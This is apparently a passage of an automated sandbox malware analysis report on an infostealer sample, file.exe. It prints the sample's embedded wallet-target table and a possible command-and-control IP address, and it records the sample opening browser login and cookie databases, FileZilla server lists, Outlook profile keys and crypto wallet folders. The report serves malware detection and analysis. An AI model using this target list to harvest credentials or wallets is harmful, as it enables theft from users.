Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\.finger-print.fp3
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2695816091.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
